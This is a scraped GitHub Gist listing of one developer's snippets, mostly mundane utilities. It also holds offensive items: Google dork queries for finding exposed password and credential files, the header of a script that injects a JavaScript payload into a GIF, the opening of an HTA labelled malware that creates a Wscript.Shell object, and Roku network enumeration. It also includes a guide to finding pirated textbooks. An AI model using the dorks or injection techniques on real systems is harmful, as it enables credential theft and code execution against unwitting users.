Skip to content

Instantly share code, notes, and snippets.

View GoogleHackMasterList.txt
admin account info" filetype:log
!Host=*.* intext:enc_UserPassword=* ext:pcf
"# -FrontPage-" ext:pwd inurl:(service | authors | administrators | users) "# -FrontPage-" inurl:service.pwd
"AutoCreate=TRUE password=*"
"http://*:*@www” domainname
"index of/" "ws_ftp.ini" "parent directory"
"liveice configuration file" ext:cfg -site:sourceforge.net
"parent directory" +proftpdpasswd
Duclassified" -site:duware.com "DUware All Rights reserved"
duclassmate" -site:duware.com
@cmbaughman
cmbaughman / CMBUtil.js
Created Jan 21, 2019
Vanilla Javascript Utilities
View CMBUtil.js
class CMBUtil {
static isNullOrEmpty(tmp) {
return (!tmp || 0 === tmp.length);
}
static isUndefined(tmp) {
return (typeof(tmp) === 'undefined');
}
static isNumeric(n) {
@cmbaughman
cmbaughman / GifInject.py
Created May 21, 2019
Inject JavaScript into a GIF
View GifInject.py
#!/usr/bin/env python2
#============================================================================================================#
#======= Simply injects a JavaScript Payload into a GIF. ====================================================#
#======= or it creates a JavaScript Payload as a GIF. ====================================================#
#======= The resulting GIF must be a valid (not corrupted) GIF. =============================================#
#======= Author: marcoramilli.blogspot.com ==================================================================#
#======= Version: PoC (don't even think to use it in development env.) ======================================#
#======= Disclaimer: ========================================================================================#
#THIS IS NOT PEP3 FORMATTED
#THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR
@cmbaughman
cmbaughman / Win10-Fast-Delete.md
Created Oct 16, 2018
Faster Windows Deletion of Big Directories
View Win10-Fast-Delete.md

Speed up deletion of large files & folders

Manual Instructions

  1. "Start" -> Run -> cmd
  2. cd to the directory. In this example I want to delete 'virtual' and all subfiles & folders cd ../virtual
  3. Run this command inside the directory:
@cmbaughman
cmbaughman / linux_ad.sh
Created Sep 10, 2020
Ubuntu Active Directory
View linux_ad.sh
#!/bin/bash
sudo apt install sssd heimdal-clients msktutil
sudo mv /etc/krb5.conf /etc/krb5.conf.default
COMP=$HOSTNAME
read -p 'What is the domain name? (example: URLFINANCIAL without the .local) ' DOMAIN
LCASEDOMAIN=`echo "$DOMAIN" | tr '[:upper:]' '[:lower:]'`
View RokuFun.md

Fun stuff with Roku

Enumerate Roku devices

sudo nmap -sV -O -n 192.168.X.X/24

Identify the device and other stuff using netcat on the SSDP multicast address, port 1900.

View ssh-password.md

How to set up passwordless ssh,scp, and rsync

Setup

  1. Install the application sshpass:
sudo apt install sshpass
  1. Make sure to set in your ~/.ssh/config file the following options to prevent ssh from using your pubkey:
@cmbaughman
cmbaughman / MalwareInjectExample.hta
Created Jun 13, 2019
Malware by HTA (MSHTML)
View MalwareInjectExample.hta
<HTML>
<HEAD>
<script>
try {
a=new ActiveXObject('Wscript.Shell');
@cmbaughman
cmbaughman / fix-apt.sh
Last active Dec 29, 2021
When apt fails because there are too many kernels installed in /boot, but apt autoremove --purge doesn't remove them...
View fix-apt.sh
#!/usr/bin/bash
sudo apt-mark auto $(apt-mark showmanual | grep -E "^linux-([[:alpha:]]+-)+[[:digit:].]+-[^-]+(|-.+)$")
@cmbaughman
cmbaughman / TextBookSearch.md
Last active Dec 25, 2021
Searching for Text Books
View TextBookSearch.md

Note: I found this on the /r/Piracy subreddit (https://www.reddit.com/r/Piracy/comments/3i9y7n/guide_for_finding_textbooks/?sort=confidence) however I am including a copy here just in case.

So you have a list of books you need to buy for college. There are some really great resources for finding them online, but I'm going to run through the easiest methods for searching all of them here.

First, let's start off by using the method that will allow you to find the vast majority of books. Google. It tends to be easier if you can search multiple sites at once, and this is the easiest way to do it.

There was a search engine that /u/ratokursi made 3 years ago, but by now most of the sites are either dead or have changed the url. I decided to make a new one, this time after reviewing 100+ sites and adding to working ones to the custom search engine.

https://cse.google.com/cse/publicurl?cx=011394183039475424659:5bfyqg89ers